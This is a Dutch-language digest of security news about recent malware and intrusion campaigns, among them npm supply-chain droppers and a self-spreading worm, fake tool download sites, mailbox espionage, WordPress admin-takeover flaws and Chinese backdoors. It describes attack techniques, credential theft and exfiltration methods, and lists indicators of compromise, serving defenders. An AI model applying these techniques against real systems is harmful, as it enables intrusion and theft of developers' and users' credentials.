Drie aspecten vallen op in de handleiding van de dreigingsactor: het gebruik van het Nuclei framework van projectdiscovery.io, een populaire tool onder offensive security professionals; het inzicht in de uitdagingen waarmee verdedigers worden geconfronteerd bij het patchen van nieuw ontdekte kwetsbaarheden; en de verdeling van de handleiding in een "legale" en een "illegale" sectie. Dit betekent dat lezers in elke fase kunnen beslissen om van kwetsbaarheidsmelding over te stappen op hacking.

Het meest effectieve deel van de handleiding is niet een technische truc, maar de toon. "Hercules" schrijft in duidelijke taal en presenteert het proces als iets dat door actie kan worden geleerd. Hij stelt dat veel tutorials zich te veel richten op computerwetenschappen, besturingssystemen, programmeren of scannerparameters, terwijl beginners willen "hacken", "inbreken" en "toegang krijgen". Hij suggereert ook dat gebruikers geen geavanceerde software engineers hoeven te zijn om te beginnen. Publieke tools, community templates, automatisering en zelfs assistentie van AI worden gepresenteerd als manieren om de drempel te verlagen, terwijl programmeervaardigheden als nuttig maar niet verplicht worden beschreven. De onderliggende boodschap is simpel: de technische kloof is kleiner dan beginners denken. Deze boodschap verklaart een groot deel van de forumreacties, waarin gebruikers aangaven ondanks vele cursussen nog niet praktisch te kunnen hacken, of vroegen of gebrek aan programmeerkennis een probleem zou zijn. De handleiding nodigt lezers uit contact op te nemen voor verdere begeleiding.

Bron: Flare | Bron 2: projectdiscovery.io | Bron 3: aquasec.com

Het Britse National Cyber Security Centre (NCSC) heeft softwareontwikkelaars geadviseerd om packages en andere updates van afhankelijkheden niet langer automatisch te installeren. In plaats daarvan dienen deze eerst handmatig te worden gecontroleerd. Dit advies volgt op een eerdere aanbeveling van het Amerikaanse cyberagentschap CISA, dat ontwikkelaars opriep om minstens drie uur te wachten met de installatie van nieuwe packages. De aanleiding voor deze waarschuwingen zijn de toegenomen aanvallen op software supply chains waarmee veel organisaties recentelijk te maken hebben gehad.

De afgelopen weken is gebleken dat aanvallers diverse packages op platforms zoals GitHub, npm of de Python Package Index (PyPI) hebben voorzien van malware. Softwareontwikkelaars die voor hun projecten gebruikmaken van deze packages en de geïnfecteerde versies installeerden, raakten hierdoor zelf geïnfecteerd. De malware was vervolgens in staat om inloggegevens, tokens, keys en andere credentials van deze ontwikkelaars te stelen. Hierdoor konden ook hun softwareprojecten worden geïnfecteerd, wat een breed risico vormt voor de uiteindelijke gebruikers van de software.

Het Britse NCSC benadrukt dat softwareontwikkelaars direct een aantal concrete maatregelen kunnen treffen om de risico's te beperken. Een van de belangrijkste aanbevelingen is het handmatig controleren van alle nieuwe updates, afhankelijkheden en versies voordat deze worden geïmplementeerd. Daarnaast adviseert de Britse overheidsdienst om in het geval van een vermoedelijke aanval op de supply chain de automatische updates van afhankelijkheden te pauzeren. Het is tevens essentieel dat ontwikkelaars een duidelijk overzicht hebben van alle afhankelijkheden die binnen hun projecten worden gebruikt. Tot slot wordt aangeraden om een evenwicht te vinden tussen het snel installeren van beveiligingspatches en het langzamer updaten van externe afhankelijkheden, om zo de potentiële impact van een succesvolle aanval te minimaliseren. Dit strategische uitstel kan cruciale tijd bieden voor het detecteren en mitigeren van besmette updates.

Bron: NCSC

De Lazarus Group uit Noord-Korea heeft een nieuwe npm-campagne gelanceerd die zich richt op ontwikkelaars. Deze campagne maakt gebruik van misleidende pakketnamen om toegang te verkrijgen tot de systemen en software build-omgevingen van ontwikkelaars. Sonatype Security Research volgt tientallen kwaadaardige npm-pakketten die aan deze campagne gekoppeld zijn. Sommige van deze pakketten bereikten tot wel 500 wekelijkse downloads. De pakketten zijn zo ontworpen dat ze gerelateerd lijken aan vertrouwde JavaScript-projecten en tools, wat de kans vergroot dat ontwikkelaars ze installeren tijdens hun normale werkzaamheden.

In tegenstelling tot de gebruikelijke typosquatting-technieken, waarbij hackers misbruik maken van spelfouten, vond Sonatype dat in dit geval brandjacking-methoden werden toegepast. Dit omvat onder andere de toevoeging van achtervoegsels, het inbedden van projectnamen en het nabootsen van versienummers. Onderzoekers zagen voorbeelden van namen die waren opgebouwd rond bekende projecten zoals Buffer, Chai, React, Express, JWT en Webpack. Deze naamgevingsstrategie is effectiever voor aanvallers, omdat npm veel kleine hulpbibliotheken, wrappers en plugins bevat. Een pakket genaamd `buffer-utilities`, bijvoorbeeld, kan een legitieme aanvulling lijken op het veelgebruikte buffer-pakket, zelfs als er geen echte verbinding is met het project.

De analyse van Sonatype van `buffer-utilities` toonde aan dat het pakket gekopieerde code van de echte buffer-bibliotheek bevatte, maar ook functioneerde als een kwaadaardige dropper. Na installatie decodeerde het Base64-gecodeerde URL's, haalde het externe inhoud op van `www.jsonkeeper.com` en voerde het de opgehaalde code uit met `eval()`. Onderzoekers stelden vast dat dit patroon ook in andere pakketten, die aan dezelfde Lazarus-activiteit zijn gekoppeld, voorkwam. Het gebruik van `www.jsonkeeper.com` is eveneens opmerkelijk, aangezien Sonatype Lazarus eerder heeft waargenomen bij het hosten van payloads via deze service.

Nadat de eerste fase is uitgevoerd, kan de malware een Node.js-backdoor en downloader installeren. Deze payload verzamelt basis systeemdetails, waaronder de hostnaam, gebruikersnaam, besturingssysteem, home-directory en procesargumenten. Vervolgens maakt het contact met de command and control-infrastructuur om verdere instructies te ontvangen. De malware kan ook een verborgen .vscode-directory aanmaken in de home-map van de gebruiker, meer bestanden downloaden en door de aanvaller beheerde JavaScript als een losgekoppeld achtergrondproces starten. Sonatype meldde dat het pakket een payload van de derde fase, genaamd `f.js`, kan ophalen, samen met een `package.json-bestand`, waarna het `npm install --silent` uitvoert voordat de payload wordt gestart. Dit gedrag stelt de aanvaller in staat om toegang te behouden en kwaadaardige bestanden over tijd te vernieuwen. Sonatype rapporteerde ook een updatemechanisme dat de payload in staat stelt opnieuw verbinding te maken met command and control-servers, te controleren op nieuwere versies en lokale bestanden te vervangen.

De campagne toont aan waarom npm aantrekkelijk blijft voor geavanceerde dreigingsactoren. Ontwikkelaars installeren vaak pakketten op basis van naamsbekendheid, projectgeschiktheid of gemak, vooral in JavaScript-omgevingen waar kleine afhankelijkheden veelvoorkomend zijn. De link met de Lazarus Group geeft gewicht aan de bevindingen. Hoewel de groep vaak wordt geassocieerd met financiële diefstal en spionageoperaties van hoog profiel, toont deze activiteit de interesse van de groep in machines van ontwikkelaars, inloggegevens, build-systemen en langdurige toegang tot bedrijfsomgevingen.

Organisaties die `buffer-utilities` versie 1.0.0 of pakketten die geassocieerd zijn met Sonatype-identificatie `sonatype-2026-003558` hebben geïnstalleerd, moeten deze verwijderen en de getroffen systemen controleren op tekenen van verdere compromittering. Sonatype waarschuwde dat verwijdering alleen mogelijk niet voldoende is als latere payloads al zijn uitgevoerd. Beheerders moeten ook controleren op netwerkverbindingen met `www.jsonkeeper.com`, command and control-verkeer naar `45.59.163.198:1244`, onverwachte .vscode-mappen in home-directories van gebruikers, ongebruikelijke Node.js-processen en onverklaarde toegang tot inloggegevens vanaf werkstations van ontwikkelaars of build-systemen.

Bron: Sonatype

Cybersecurity onderzoekers hebben een grootschalige operatie blootgelegd die legitieme open source en freeware projecten nabootst. Het doel is om onwetende gebruikers via een Traffic Distribution System (TDS) naar kwaadaardige software te leiden, waaronder de Remus Stealer, AnimateClipper en het SessionGate framework.

Alexey Bukhteyev, security onderzoeker bij Check Point, legt uit dat "de websites goed zijn ontworpen en bij een snelle blik vaak legitieme projectportalen lijken, soms zelfs verwijzend naar echte bronnen. De misleiding zit niet alleen in de inhoud van de pagina, maar vooral in wat er gebeurt wanneer een gebruiker interactie heeft."

Deze nagemaakte pagina’s laden een via CloudFront gehoste JavaScript staging laag. Deze laag zet een klik op een download knop of link om in een doorverwijzing naar een TDS. Het TDS hanteert strikte controlemechanismen, waaronder de status van het eerste bezoek, verplichte klikbevestiging, anti-bot en anti-analyse logica, VPN en datacenter filtering, en frequentielimieten.

Men vermoedt dat de operatie is gericht op het verwerven en monetariseren van verkeer, waarbij geselecteerde gebruikers naar infrastructuur voor malware distributie worden geleid. Enkele van de geïdentificeerde websites imiteren betrouwbare reverse-engineering en security tools zoals Ghidra, dnSpy en SpiderFoot.

De aanvalsketens richten zich specifiek op gebruikers die via zoekmachines zoals Google naar dergelijke tools zoeken. Hierdoor verschijnen de nagemaakte websites bovenaan de zoekresultaten. Een eerdere versie van de campagne werd in november 2025 door Fullstory gedocumenteerd. Bewijs toont aan dat de activiteit al sinds september 2025 gaande is.

Het in Atlanta gevestigde bedrijf merkte destijds op dat "deze domeinen gericht zijn op het verkrijgen van gunstige zoekmachineposities door gebruik te maken van de naam, het merk en de populariteit van de originele websites en projecten." Veel websites staan bovenaan de zoekresultaten op Google voor de relevante zoekterm, vaak hoger dan de echte projectwebsite, wat hun zichtbaarheid maximaliseert en kan leiden tot meer links en inhoud.

Hoewel er aanvankelijk geen aanwijzingen waren voor kwaadaardige activiteiten anders dan het genereren van inhoud om verkeer aan te trekken en derden in staat te stellen hun eigen websites te adverteren, tonen de nieuwste bevindingen van Check Point aan dat de TDS scripts niet lang daarna werden ingesloten. De infrastructuur werd vanaf januari 2026 omgevormd voor de distributie van malware.

Een klik op de "Download" knop initieert een TDS omleidingsketen die resulteert in de implementatie van malware. Een opvallend aspect is dat bij het zweven over de knop de legitieme URL zichtbaar wordt van waar de tool kan worden gedownload, wat de website een schijn van legitimiteit geeft.

De omleidingsketens zijn ook zo ontworpen dat herhaalde pogingen om de site te bezoeken vanaf hetzelfde IP-adres resulteren in de download van goedaardige software, zoals de Opera browser of onnodige browser extensies. Enkele van de payloads die via dit TDS worden verspreid, zijn:

*   **SessionGate:** Een voorheen onbekende multi-stage, versluierde loader die wordt gebruikt om potentieel ongewenste applicaties (PUA) te leveren. Het bevat uitgebreide anti-analyse mechanismen om sandboxes te misleiden door over te schakelen naar een goedaardige installatie ervaring.

*   **Remus Stealer:** Een nieuwe informatie stealer, aangeboden onder een malware als een service (MaaS) model. Deze kan data stelen van meer dan 20 browsers, inclusief honderden browser extensies en applicaties, zoals cryptocurrency wallets, twee factor authenticatie tools en wachtwoordmanagers. Remus wordt beschouwd als een variant van de Lumma Stealer.

*   **AnimateClipper:** Een cryptocurrency clipper die gekopieerde wallet adressen in het klembord kan vervangen en transacties kan kapen over meer dan 20 blockchain ecosystemen. Het wordt geleverd via een ClickFix lokmiddel.

Een analyse van VirusTotal telemetrie heeft tot op heden ongeveer 2.000 tot 3.500 inzendingen van samples geassocieerd met de SessionGate familie onthuld. Het merendeel van deze inzendingen kwam uit Turkije, Polen, Brazilië, Duitsland, Frankrijk, Rusland en het Verenigd Koninkrijk.

Het uiteindelijke doel van de SessionGate infectieketen is het droppen van een payload die uniek is per client en pas wordt geleverd na het volledig doorlopen van het omleidingspad. De multi-stage leveringsketen, gecombineerd met uitgebreide validatie logica en TDS-gerelateerde gating, is ontworpen om analyse te weerstaan en het ophalen van de payload voor analisten een uitdagende taak te maken. De uiteindelijke DLL payload is verantwoordelijk voor communicatie met een externe server, het ophalen van een versleutelde configuratie van de server, het extraheren van de download URL uit de configuratie, en het downloaden en stil uitvoeren van de volgende fase malware via "cmd.exe."

Bukhteyev concludeert: "De toegangssites imiteren legitieme open source project portals, bewaren echte GitHub links om snelle visuele controles te doorstaan, en gebruiken vervolgens klik onderschepping om de eerste download klik om te leiden naar een afgeschermde TDS stack." Hij voegt eraan toe: "Het meest aannemelijke primaire doel is verkeersacquisitie en monetarisatie. Echter, door een afgeschermde TDS laag in te bedden en zoekverkeer ernaartoe te leiden, worden de operators onderdeel van een distributieketen waarvan de downstream consumenten malware distributeurs kunnen zijn. Dezelfde verkeerspijplijn die grijze monetarisatie aanstuurt, kan ook selectief echte gebruikers naar kwaadaardige payloads leiden."

Bron: Check Point

Onbekende aanvallers hebben ten minste vijf maanden lang toegang gehad tot de Outlook mailbox van een hooggeplaatste directeur bij een grote wereldwijde beurs. Gedurende deze periode kopieerden de aanvallers de inhoud van de mailbox in kleine, herhaalde batches en leidden deze data via Dropbox en OneDrive om de activiteit te laten opgaan in normaal cloudverkeer.

Symantec en Carbon Black's Threat Hunter Team rapporteerden deze campagne deze week. De aard van de commando's duidt op spionage en verzameling van inlichtingen, in plaats van diefstal voor financieel gewin. De namen van de directeur en de beurs zijn niet bekendgemaakt. De waarde van dergelijke informatie is echter duidelijk: de inbox van een beursdirecteur kan niet-openbare noteringsdetails, handhavingskwesties, dealvoorwaarden, marktverplaatsende plannen, evenals de agenda en contacten van de directeur bevatten. Vijf maanden onopgemerkte toegang gaf de aanvaller een gedetailleerd inzicht in de activiteiten van de directeur en de toekomstige richting van de organisatie, zonder dat brede toegang tot andere bedrijfssystemen nodig was.

De eerste kwaadaardige activiteit werd waargenomen op 10 oktober 2025. Op dat moment voerde de aanvaller al twee binaire bestanden uit als SYSTEM, het hoogste Windows-privilegeniveau. Eén van deze bestanden deed zich voor als een Adobe updater en de andere als OneDrive. Tegen de tijd dat verdedigers iets opmerkten, had de indringer volledige controle over de machine, en de initiële toegangsmethode blijft onbekend. Symantec bevestigde echter dat de eerste tekenen waarschijnlijk afkomstig waren van laterale beweging vanaf een eerder gecompromitteerd apparaat.

De operatie kwam op 12 november in een hogere versnelling. De aanvaller verkreeg een Dropbox API token, begon data te uploaden met `curl`, en zette de hoofdgereedschap in: een mailbox stealer gebouwd op Aspose, een legitieme .NET bibliotheek die Outlook OST- en PST-bestanden leest. Dit gereedschap, verpakt in een uitvoerbaar bestand, converteerde de mailbox naar PST-formaat en schreef deze naar schijf, telkens uitgevoerd met een wachtwoord en een vlag voor het datumbereik. De eerste run omvatte alle data vanaf augustus 2025. Daarna keerde de aanvaller elke twee tot vier weken terug, waarbij elke run alleen de data sinds de vorige keer verzamelde. Dit gebeurde nog acht keer tot 17 februari 2026, wat resulteerde in een bijna continue kopie van de mailbox, opgesplitst in kleine genoeg delen om geen aandacht te trekken van beveiligingssoftware.

De stealth werd bereikt door de activiteiten er alledaags uit te laten zien. Geplande taken deden zich voor als systeem services van Adobe, Lenovo en OneDrive. Voor exfiltratie gebruikte de aanvaller Dropbox en OneDrive Personal. Voor OneDrive maakten ze verbinding met hardgecodeerde Microsoft IP-adressen in plaats van de onedrive.live.com hostname, zodat er geen DNS-zoekopdrachten waren die perimeter beveiligingssystemen konden detecteren of blokkeren. De aanvaller testte ook de publieke bestandshost temp.sh in november, maar liet deze daarna vallen. De laatst waargenomen activiteit, op 19 maart 2026, was een nieuwe backdoor die wel was klaargezet maar nooit werd uitgevoerd, wat volgens Elias van Symantec kan betekenen dat de aanvaller kort daarna de toegang verloor.

Symantec's gepubliceerde indicatoren wijzen op een bredere inbraakkit, niet alleen een mailbox grabber: FRPC voor het tunnelen van verkeer naar buiten, Secretsdump voor het ophalen van Windows credentials, SharpDecryptPwd voor het herstellen van opgeslagen app-wachtwoorden, en een tool om Windows User Account Control te omzeilen. Het rapport specificeert niet hoe elk van deze tools in dit specifieke geval werd gebruikt, en geen van hen wijst op een specifieke groep. Er is geen CVE in dit verhaal; het betrof een inbraak in een persoonlijke mailbox, niet de exploitatie van een recent onthulde kwetsbaarheid. Dit benadrukt waarom het incident belangrijk is: er is geen patch die dit dicht, en de verantwoordelijkheid verschuift naar monitoring en respons.

Attributie blijft onopgelost. De mix van publieke tools en consumenten cloud services liet weinig over om de activiteit te verbinden met een bekende actor, en dat blijft zo totdat een sterkere bron anders aangeeft. Exfiltratie via Dropbox en OneDrive om op te gaan in het normale verkeer is een bekende tactiek, en Microsoft heeft deze methode al eerder aangemerkt als een bewuste manier om perimeter verdedigingen te omzeilen en attributie te bemoeilijken. Organisaties die marktverplaatsende informatie beheren, doen er goed aan de hashes te controleren en te letten op ongebruikelijke mailbox exportactiviteit, vreemde Outlook-toegang, uploads naar persoonlijke Dropbox- of OneDrive-accounts, onverwachte tunneling, en het dumpen van credentials op systemen die gekoppeld zijn aan geprivilegieerde gebruikers.

Bron: Symantec en Carbon Black | Bron 2: security.com

Aanvallers maken momenteel actief misbruik van kwetsbaarheden in twee populaire WordPress-plug-ins: Everest Forms Pro en Burst Statistics. Deze beveiligingslekken stellen ongeauthenticeerde aanvallers in staat om administratoraccounts aan te maken, waardoor zij volledige controle over de getroffen websites kunnen verkrijgen.

Burst Statistics is een plug-in die door meer dan tweehonderdduizend websites wordt gebruikt om bezoekersinformatie te verzamelen. De ontwikkelaars omschrijven het als een privacyvriendelijk alternatief voor Google Analytics. Een kritieke kwetsbaarheid in de authenticatiefunctie van deze plug-in controleert onvoldoende of een opgegeven wachtwoord correct is. Dit betekent dat een aanvaller die de gebruikersnaam van een beheerder kent, in combinatie met een willekeurig wachtwoord, een nieuw admin account kan aanmaken. De ontwikkelaar heeft dit probleem op 12 mei verholpen met de release van versie 3.4.2. Echter, cybersecuritybedrijf Wordfence rapporteert dat aanvallers sinds 13 mei, de dag na de patch, actief misbruik maken van dit lek. De afgelopen weken zijn meer dan 110.000 aanvalspogingen waargenomen gericht op deze kwetsbaarheid.

De tweede plug-in, Everest Forms Pro, wordt gebruikt voor het ontwerpen van contactformulieren, nieuwsbrieven, quizzen en betaalformulieren. De kwetsbaarheid die actief wordt misbruikt, bevindt zich in de betaalde versie van de plug-in, die naar schatting op vierduizend websites actief is. Via dit lek kunnen ongeauthenticeerde aanvallers specifiek voorbereide waarden invoeren in een formulier van de WordPress-site. Dit maakt het mogelijk om PHP code uit te voeren op de onderliggende server. Ook bij aanvallen op Everest Forms Pro is het primaire doel van de aanvallers het creëren van een admin account. Wordfence heeft ongeveer dertigduizend aanvallen waargenomen die gericht waren op dit beveiligingslek. Websitebeheerders wordt geadviseerd om hun plug-ins zo snel mogelijk bij te werken naar de nieuwste versies om deze dreiging te mitigeren.

Bron: Wordfence

Aanvallers maken gebruik van SEO-vergiftiging om valse installatiepagina’s van Anthropic’s Claude Code bovenaan in zoekresultaten te plaatsen, met als doel de verspreiding van malware. Deze gerichte aanpak viseert voornamelijk beginnende ontwikkelaars. De aanval maakt gebruik van de ClickFix social engineering techniek, waarbij het slachtoffer wordt misleid om een kwaadaardig MSHTA-commando uit te voeren via het Windows uitvoervenster.

De infectieketen begint met de inzet van een 6,7 MB groot polyglotbestand dat zowel MP3 als HTA is. Dit bestand is ontworpen om tijdens beveiligingsscans door te gaan voor afspeelbare audio, maar bevat een verborgen HTA-scriptblok. Na de uitvoering van het HTA-script volgen fileless PowerShell-stappen, waarna een reflectieve .NET infostealer wordt geladen. Deze infostealer draait volledig in het geheugen, zonder bestanden op schijf aan te maken.

De primaire functie van de infostealer is het stelen van inloggegevens die zijn opgeslagen in browser-opslag. Voor command and control (C2) communiceert de malware met Russische infrastructuur via diverse subdomeinen. Deze methode van aanval toont een toenemende verfijning in het omzeilen van traditionele beveiligingsmaatregelen door het ontbreken van persistente bestanden en het gebruik van legitiem ogende bestandsformaten.

Bron: Cybersecurity News

Techgigant Toshiba en retailer Muji hebben bezoekers gewaarschuwd voor verdachte aanmeldschermen die op hun websites verschenen en mogelijk inloggegevens konden verzamelen. Beide Japanse bedrijven adviseren gebruikers die hun accountgegevens hebben ingevoerd in deze authenticatieschermen, hun wachtwoorden onmiddellijk te wijzigen voor de betreffende dienst.

De loginprompts werden gegenereerd door de externe dienst gehost op polyfill[.]io. Dit domein introduceerde in 2024 al malafide code in scripts die via zijn Content Delivery Network (CDN) werden geleverd. Toshiba meldde in een korte communicatie: "We hebben bevestigd dat delen van onze website een aanmeldscherm kunnen weergeven zoals hieronder getoond. We werken momenteel aan het elimineren van dit scherm, maar als u het ziet, selecteer dan 'Annuleren' zonder enige informatie in te voeren."

De Japanse retailgigant Muji publiceerde eerder deze week een vergelijkbare waarschuwing. Muji stelt dat er op dit moment geen ongeautoriseerde toegang of informatielekkage is bevestigd, maar adviseert klanten desondanks voorzorgsmaatregelen te nemen. Zowel Toshiba als Muji hebben de problemen inmiddels opgelost en de dienst opgeschort.

Japanse media hebben eveneens gemeld dat Zojirushi, FiNC Technologies, Ishiyaku Publishers en het online uitgeversmerk Hobonichi door hetzelfde probleem werden getroffen. Beveiligingsonderzoeker Pasquale Pillitteri rapporteerde daarnaast dat ook Samsung Smart TV's en websites op 1 juni een loginprompt vertoonden.

De oorzaak van het probleem lijkt terug te voeren op een incident in 2024, toen het domein polyfill[.]io werd overgenomen door een Chinese entiteit. Deze entiteit voegde kwaadaardige scripts toe die destijds meer dan 100.000 websites troffen die de Polyfill-dienst gebruikten. Polyfill is een JavaScript CDN dat moderne websites compatibel maakt met oudere browsers door een compatibiliteitslaag te bieden voor niet-ondersteunde technologieën.

De oorspronkelijke code van Polyfill werd geleverd via een CDN op polyfill[.]io, maar het domein was niet in eigendom van de maker van het open source project, Andrew Betts. Toen het domein afliep, kon het door iedereen worden geclaimd. Betts reageerde destijds publiekelijk door website-eigenaren aan te raden de dienst van hun sites te verwijderen en lanceerde een nieuwe JavaScript CDN-dienst op polyfill.com, later gevestigd op polyfill.top.

Hoewel de deactivering van de dienst op polyfill[.]io de omleidingen stopte, zijn sommige sites die de dienst gebruikten er de afgelopen twee jaar niet in geslaagd om al hun pagina's op te schonen, waardoor restanten van de Polyfill-code achterbleven. Pillitteri meldt dat het polyfill[.]io-domein eind mei 2026 opnieuw actief werd en begon te reageren met HTTP 401 authenticatieverzoeken. Browsers van gebruikers die pagina's bezoeken, zoals die van Toshiba en Muji, interpreteren dit als een verzoek om een gebruikersnaam en wachtwoord, waarna een loginprompt wordt weergegeven.

Op dit moment is er geen indicatie dat de getroffen websites zijn gehackt of dat referenties die op deze malafide aanmeldschermen zijn ingevoerd, daadwerkelijk zijn gestolen. Gebruikers wordt echter ten zeerste aanbevolen voorzichtig te zijn met onverwachte authenticatieprompts en bij twijfel geen gegevens in te voeren.

Bron: Toshiba en Muji | Bron 2: global.toshiba | Bron 3: itmedia.co.jp

Een Chinese spionagegroep, bekend als UNC5221 en ook getraceerd als VerdantBamboo, heeft nieuwe malware ingezet om langdurige toegang te behouden tot gecompromitteerde netwerken. De groep maakt misbruik van de Brickstorm backdoor en twee recent ontdekte malwarevarianten genaamd Plenet en AgentPSD om toegang te krijgen tot Microsoft 365 omgevingen.

Onderzoek naar een incident, uitgevoerd door Volexity, onthulde dat de dreigingsactor minstens achttien maanden vóór detectie al toegang had tot het netwerk van het slachtoffer. Bovendien bleek de managed services provider (MSP) van de getroffen organisatie eveneens te zijn gecompromitteerd. UNC5221 staat erom bekend sinds 2023 zero day kwetsbaarheden in edge apparaten te misbruiken.

De Brickstorm backdoor, door onderzoekers omschreven als een "geavanceerde malware implant", werd meer dan een jaar onopgemerkt gebruikt in de omgevingen van verschillende doelen in de Verenigde Staten, totdat de inbreuken rond maart 2025 werden ontdekt. De initiële versies van Brickstorm waren geschreven in Golang, waarna nieuwere varianten in Rust verschenen. Google documenteerde de activiteit van UNC5221 met deze backdoor in april 2024 en opnieuw in september 2025, waarbij aanvallen op juridische dienstverleners, software as a service providers, business process outsourcers en technologiebedrijven werden beschreven. CISA waarschuwde eerder al voor de inzet van Brickstorm door Chinese hackers tegen VMware vSphere servers, en Google rapporteerde recentelijk dat UNC6201 de malware gebruikte tegen Dell RecoverPoint for Virtual Machines.

Volexity ontdekte vorig jaar dat VerdantBamboo een Egnyte Storage Sync systeem had gecompromitteerd en hier periodiek toegang toe verkreeg via de web SSL VPN van het slachtoffer. Vanuit deze positie en met behulp van Brickstorm proxy functionaliteiten en gestolen inloggegevens, kreeg de dreigingsactor toegang tot de Microsoft 365 omgeving van de organisatie. De onderzoekers van Volexity achten het zeer waarschijnlijk dat dit gebeurde om op te gaan in legitiem netwerkverkeer en zo Conditional Access beleid te omzeilen dat anders toegang zou hebben voorkomen.

Later bleek dat de hackers minstens achttien maanden op het netwerk aanwezig waren geweest voordat ze werden gedetecteerd. Bovendien wist VerdantBamboo de organisatie opnieuw te compromitteren nadat de onderzoekers de herstelwerkzaamheden hadden voltooid. Tijdens deze tweede inbraak gebruikten de aanvallers gestolen inloggegevens om SSL VPN toegang op de firewall van het slachtoffer in te schakelen en te configureren. Vervolgens maakten ze verbinding met interne systemen en implementeerden ze aanvullende op maat gemaakte malware op een Synology NAS apparaat. Dit leidde tot een onderzoek bij de MSP van de klant, waar Volexity ontdekte dat VerdantBamboo een BSD variant van Brickstorm op een pfSense firewall had geplaatst. Deze firewall was, net als het Storage Sync systeem van de getroffen organisatie, minstens achttien maanden eerder gecompromitteerd. Volexity heeft een gemiddeld vertrouwen dat de aanvaller vanuit de MSP naar de omgeving van de slachtofferorganisatie is doorgedrongen. Brickstorm werd vervolgens ingezet op de Egnyte Storage Sync appliance van het slachtoffer en op een buiten gebruik gestelde Linux GroupWise e mailarchiefserver.

Enkele dagen later keerden de aanvallers terug en herstelden ze de toegang tot de infrastructuur van het slachtoffer. Ze implementeerden toen de op maat gemaakte malware Plenet op een Synology NAS appliance. Plenet, door Google ook getraceerd als "Grimbolt", is een cross platform .NET gebaseerde backdoor die interactieve shell toegang, uitvoering van commando's op afstand, bestandsmanipulatie en het wisselen van command and control (C2) servers mogelijk maakt. De onderzoekers merken op dat Plenet qua ontwerp lijkt op Brickstorm, met gebruik van het WebSocket protocol voor C2 communicatie en een multiplexing bibliotheek voor gelijktijdige datastromen naar de server.

AgentPSD is een eenvoudig Python gebaseerde reverse shell utility. Volexity vermoedt dat VerdantBamboo deze gebruikte als een terugval mechanisme voor persistentie, mocht andere malware niet langer toegankelijk zijn. De onderzoekers ontdekten dat AgentPSD was geconfigureerd om verbinding te maken met een ander domein dan datgene dat Brickstorm gebruikte. De malware werd echter nooit ingezet, aangezien Brickstorm nog steeds actief was, wat de inschatting ondersteunt dat AgentPSD een secundair toegangsmechanisme was.

Tijdens het onderzoek probeerde Volexity de infrastructuur van VerdantBamboo te achterhalen. De onderzoekers ontwikkelden een fingerprint om IP adressen en domeinen te identificeren die Brickstorm gebruikte voor C2 communicatie. Hoewel meerdere machines werden geïdentificeerd, haalde de dreigingsactor de infrastructuur offline voordat de onderzoekers andere systemen konden onthullen. Tussen 18 en 23 september schakelden alle servers die eerder aan het patroon voldeden hun diensten op poort 443 uit. Rond diezelfde tijd publiceerde Google ook een nieuw rapport over de activiteit van Brickstorm, wat mogelijk suggereert dat de aanvaller op de hoogte was van het onderzoek naar hun operaties. Volexity omschrijft VerdantBamboo/UNC5221 als een "zeer geavanceerde dreigingsactor" die living off the land technieken en malware combineert en systemen aanvalt die niet direct... (tekst ingekort)

Bron: Volexity | Bron 2: learn.microsoft.com | Bron 3: github.com

Op 1 juni 2026 hebben experts van meerdere cybersecuritybedrijven een omvangrijke supply chain compromittering ontdekt die softwarecomponenten van Red Hat treft. Beveiligingsfirma's Microsoft, Wiz Research, Snyk en Aikido rapporteerden dat aanvallers schadelijke code hebben geïnjecteerd in softwarepakketten onder de naam @redhat-cloud-services op npm, een openbare bibliotheek waar ontwikkelaars bouwstenen voor hun code vandaan halen.

De kwestie had gevolgen voor ten minste 32 pakketten, wat leidde tot 96 gecompromitteerde versies. Deze pakketten zijn essentieel voor het functioneren van de Red Hat Hybrid Cloud Console en worden wekelijks tussen de 80.000 en 117.000 keer gedownload. Gezien de brede integratie van deze modules, reikt de impact verder dan de infrastructuur van Red Hat zelf, tot externe ontwikkelpijplijnen.

De aanvallers maakten geen gebruik van wachtwoordraden of typosquatting. In plaats daarvan kregen zij toegang tot het persoonlijke GitHub-account van een legitieme Red Hat-medewerker. Via dit account hebben zij verborgen code wijzigingen (kwaadaardige "orphan commits") rechtstreeks in twee RedHatInsights repositories gepusht, zonder dat deze code werd beoordeeld.

Deze wijzigingen vonden plaats in twee golven van activiteit en introduceerden een minimaal GitHub Actions workflow. Dit workflow vroeg kortstondige OIDC identity tokens aan bij GitHub. Het systeem gebruikte deze tokens vervolgens om direct te authenticeren met npm's trusted publishing endpoint en de besmette pakketten te uploaden. Omdat de code afkomstig leek van een legitieme Red Hat-configuratie, werden de gecompromitteerde versies geleverd met geldige SLSA provenance attestations, waardoor ze authentiek leken voor beveiligingsscanners.

Onderzoekers hebben deze specifieke malwarevariant Miasma genoemd. Het opereert als een zelf-propagerende worm en credential stealer, gebaseerd op Mini Shai-Hulud. Dit is een open source malware framework dat eerder in 2026 werd gepubliceerd op BreachForums door de dreigingsgroep TeamPCP. De nieuwe versie van de malware vervangt oude ruimtevaartthema's door termen uit de Griekse mythologie, zoals Spartan.

Wanneer een ontwikkelaar een van deze besmette pakketten installeert, wordt automatisch een verborgen preinstall script geactiveerd voordat normale code wordt uitgevoerd. Dit script zoekt onmiddellijk naar gevoelige gegevens op de computer. Dit omvat cloud login keys voor Google Cloud, Microsoft Azure en Amazon Web Services, evenals SSH keys, wachtwoordgegevens en keys voor AI tools zoals Claude en Gemini. Daarnaast bevraagt de worm de npm registry voor andere pakketten die de geïnfecteerde identiteit mag wijzigen. Vervolgens publiceert het automatisch die pakketten opnieuw met dezelfde kwaadaardige payload, waardoor een enkele gecompromitteerde werkstation kan uitgroeien tot een vector om meer registries te infecteren.

De beheerders van de registry hebben de meeste kwaadaardige versies binnen enkele uren na de openbaarmaking ingetrokken, maar het onderzoek naar de supply chain voortgezet. Beveiligingsteams wordt geadviseerd om hun lockfiles te controleren, install scripts te blokkeren met de 'ignore-scripts' configuratie, en onmiddellijk alle cloud credentials of tokens te roteren die toegankelijk waren vanuit getroffen build environments.

Bron: Snyk | Bron 2: aikido.dev

Onderzoekers van het Slowaakse cybersecuritybedrijf ESET hebben een nieuwe Android spyware ontdekt, genaamd Asin, die zich richt op Arabischtalige gebruikers. De malware wordt verspreid via diverse campagnes die sinds begin 2025 zijn waargenomen. Elke aanvalsgolf maakt gebruik van specifieke websites die legitieme apps, oorlogsgerelateerde updates en overheidsnieuwsbronnen nabootsen.

